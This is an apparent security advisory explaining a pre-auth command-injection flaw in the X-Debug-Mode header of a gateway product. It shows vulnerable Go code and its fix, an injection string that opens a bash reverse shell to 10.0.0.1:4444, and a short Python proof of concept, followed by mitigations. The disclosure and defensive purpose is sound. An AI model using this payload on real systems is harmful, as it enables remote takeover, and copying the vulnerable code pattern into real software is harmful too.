CVE-2024-1337: The Gateway to Hell - Pre-Auth RCE in ApexGateway

ApexGateway is the ubiquitous bouncer of the enterprise cloud world. It stands guard at the perimeter, checking IDs (JWTs), patting down traffic (WAF), and deciding who gets into the VIP section (internal microservices). It is designed to be the single point of truth for security policy.

Naturally, because the universe loves irony, the security appliance itself became the gaping hole in the fence. While everyone was busy configuring complex rate-limiting rules and mTLS, the developers left a backdoor wide open in the form of a "helpful" debug feature.

This isn't your standard memory corruption that requires a PhD in heap feng shui. This is 1990s-style command injection, served up on a silver platter. It turns out that when you build a fortress, you shouldn't build the drawbridge out of dynamite.

The vulnerability lies in how ApexGateway handles diagnostic logging. In an effort to help sysadmins troubleshoot latency issues, the gateway looks for a specific HTTP header: X-Debug-Mode. If present, the value of this header is logged to a local file for later analysis.

The fatal mistake? The developers decided to handle this logging by invoking an external shell script wrapper. Instead of using a safe API to write to a file, they constructed a shell command using string concatenation.

Specifically, the application takes the raw, user-controlled string from the header and drops it directly into a command string that is passed to sh -c. This is the coding equivalent of handing a loaded gun to a toddler and hoping they only shoot at the targets. The shell doesn't know the difference between your "debug data" and a command separator like ; or |. It just executes whatever it sees.

Let's look at the vulnerable Go code responsible for this disaster. The function LogDebugTrace was intended to be a simple helper.

// VULNERABLE CODE
func LogDebugTrace(headerVal string) {
    // "Sanitization" that only removes newlines... cute.
    cleanVal := strings.ReplaceAll(headerVal, "\n", "")
    
    // Constructing the command string directly
    cmdStr := fmt.Sprintf("/opt/apex/bin/log_wrapper.sh --tag debug --msg '%s'", cleanVal)
    
    // The fatal flaw: executing via shell
    exec.Command("sh", "-c", cmdStr).Run()
}

The developer assumed that wrapping the %s in single quotes (') was enough protection. They thought, "Hey, if I quote it, it's treated as a string, right?" Wrong.

An attacker can simply inject a single quote ' to close the argument, followed by a semicolon ; to start a new command. The strings.ReplaceAll only strips newlines, leaving all other shell metacharacters wide open.

The fix involves abandoning the shell entirely and passing arguments directly to the executable:

// PATCHED CODE
func LogDebugTrace(headerVal string) {
    // No shell, no problem. Arguments are passed as a slice.
    cmd := exec.Command("/opt/apex/bin/log_wrapper.sh", "--tag", "debug", "--msg", headerVal)
    cmd.Run()
}

Exploiting this is trivially easy. We don't need authentication because the debug logger fires before the auth middleware (a secondary architectural failure, but let's focus on the injection).

We craft a request where the X-Debug-Mode header closes the logger command and starts our own payload.

The Injection Vector: test'; /bin/bash -i >& /dev/tcp/10.0.0.1/4444 0>&1; #

When the vulnerable code processes this, the resulting system command becomes:

/opt/apex/bin/log_wrapper.sh --tag debug --msg 'test'; /bin/bash -i >& /dev/tcp/10.0.0.1/4444 0>&1; #'

1. The logger runs with the message test.
2. The semicolon ; terminates that command.
3. Our reverse shell executes.
4. The trailing # comments out the closing quote that the code added, preventing a syntax error.

Here is a simple Python PoC to verify the vulnerability:

import requests
 
target = "https://vulnerable-gateway.com"
payload = "test'; id; #"
 
headers = {
    "X-Debug-Mode": payload
}
 
# The output of 'id' won't be in the HTTP response,
# but if we use a sleep command, we can verify RCE via timing.
try:
    requests.get(target, headers=headers, timeout=5)
except Exception as e:
    print(f"Request sent: {e}")

The impact here is catastrophic. ApexGateway runs as root by default because it binds to ports 80 and 443 and the installers rarely practice privilege separation.

Successful exploitation grants the attacker:

1. Full System Compromise: Root access to the gateway OS.
2. Traffic Interception: Ability to tcpdump all ingress/egress traffic, potentially capturing credentials or sensitive API data.
3. Lateral Movement: The gateway usually has access to all internal VPCs and microservices. It is the perfect pivot point.

Because this can be automated with a single curl command, we expect to see botnets scanning for this within hours of disclosure. If your gateway is exposed to the public internet (which is its job), you are already in the danger zone.

The vendor has released version 2.4.1 which implements the exec.Command fix shown above.

Immediate Mitigation Strategy:

1. Upgrade: Update ApexGateway to v2.4.1 or later immediately.
2. WAF Rules: If you cannot patch, configure your upstream WAF to block any request containing the X-Debug-Mode header.
3. Sanitize Inputs: Review your own internal tools. If you see sh -c or system() in your codebase, assume it is broken until proven otherwise.

Do not rely on "obscurity" or the fact that the header isn't documented. Hackers fuzz headers for breakfast.